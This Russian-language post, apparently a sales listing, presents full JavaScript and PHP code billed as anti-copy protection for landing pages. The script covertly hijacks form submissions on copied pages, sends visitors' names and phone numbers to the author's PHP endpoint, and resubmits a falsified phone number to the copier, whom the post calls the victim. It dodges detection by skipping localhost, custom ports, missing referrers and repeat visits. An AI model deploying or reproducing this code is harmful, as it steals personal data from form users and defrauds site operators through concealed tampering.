Скрипт для защиты Ваших лендингов от копирования. Позволяет напрямую передавать лиды с копированного лендинга.
Фунционал скрипта:
- Несколько степеней проверки: проверка протокола, порта, реффера, кол-во заходов, домена;
- Регулировка % стила (от 1 до 100%);
- Работа на Ваших доменах не ведется;
- Обработка всех форм;
- Отправка жертве такой же лид с изменённой цифрой в номере телефона;
- Скрипт содержит множество комментариев для Ваших модификаций.
Интеграция скрипта происходит на Ваше усмотрение. Инпуты имени и номера должны быть с атрибутами name=”name” и name=”phone”.
Содержание скрипта:
// Здесь укажите % срабатываний скрипта
const prc = 100
//Указываем путь к php файлу обработчику
const url = 'тут ссылка на обработчик'
//Указываем домен где будет находиться прокла/ленд
const originalHost = `ваш домен без https:// и /`
const checkedHost = window.location.host
const fullUrl = window.location.href
//запускаем скрипт
start()
function start() {
let userChek = checkUser()
//проверяем прошел ли юзер проверку
if (!userChek) return
let random = isRandom()
//проверяем попали ли мы в указанный %
if (random) stealer()
}
function stealer() {
//проверяем спизжен ли ленд
if (checkedHost == originalHost) return
let forms = document.querySelectorAll('form')
forms.forEach(element => {
element.addEventListener('submit', (e) => {
e.preventDefault()
let name = e.target.querySelector('[name="name"]').value
let phone = e.target.querySelector('[name="phone"]').value
//формируем данные для отправки
let data = {
host: fullUrl,
name: name,
phone: phone
}
//отправляем запрос
sendData(data)
.then(res => {
//Cоздаем копию формы и меняй последнюю цифру, затем ее отправляем
var dupForm = e.target.cloneNode(true);
dupForm.querySelector('[name="phone"]').value = `${phone.slice(0, -1)}${Math.floor(Math.random() * 9)}`
dupForm.style.display = 'none'
let body = document.querySelector('body')
body.append(dupForm)
dupForm.submit();
})
})
});
}
function isRandom() {
let rnd = Math.floor(Math.random() * 101)
if (rnd <= prc) return true
return false
}
function checkUser() {
//
// максимальное количество заходов при котором сработает скрипт
const AvalibleEntry = 2
let protocol = window.location.protocol
let port = window.location.port
let host = window.location.host
let reffer = document.referrer
let status = false
//проверяем зашел ли пользователь с http или https
if (protocol == 'http:' || protocol == 'https:') status = true
if (!status) return false
//проверяем есть ли порт у юзера
if (port != '') return false
//проверяем не запущен ли на сервере
if (host.includes('localhost') || host.includes('127.0.0.1')) return false
//проверяем на наличие рефера
if (reffer == '') return false
//определяем количество заходов конкретного юзера
let userCount = localStorage.getItem('count')
//если больше 2 не пропускаем
if (userCount >= AvalibleEntry) return false
//если меньше то определяем текущее значение и прибавляем + 1
userCount == null ? localStorage.setItem('count', 1) : localStorage.setItem('count', +userCount + 1)
return true
}
function sendData(propse) {
return fetch(url, {
method: 'post',
body: JSON.stringify(propse)
})
.then(response => response.json())
.then(json => (json))
.then(res => {
this.data = res
return res
})
}
Скрипт обработчика, получает данные с номером, именем и хостом с которого отправили лид:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header("Access-Control-Allow-Headers: *");
$payload = file_get_contents('php://input');
$payload = json_decode($payload, true);
$phone = $payload['phone'];
$name = $payload['name'];
$url = $payload['host'];
?>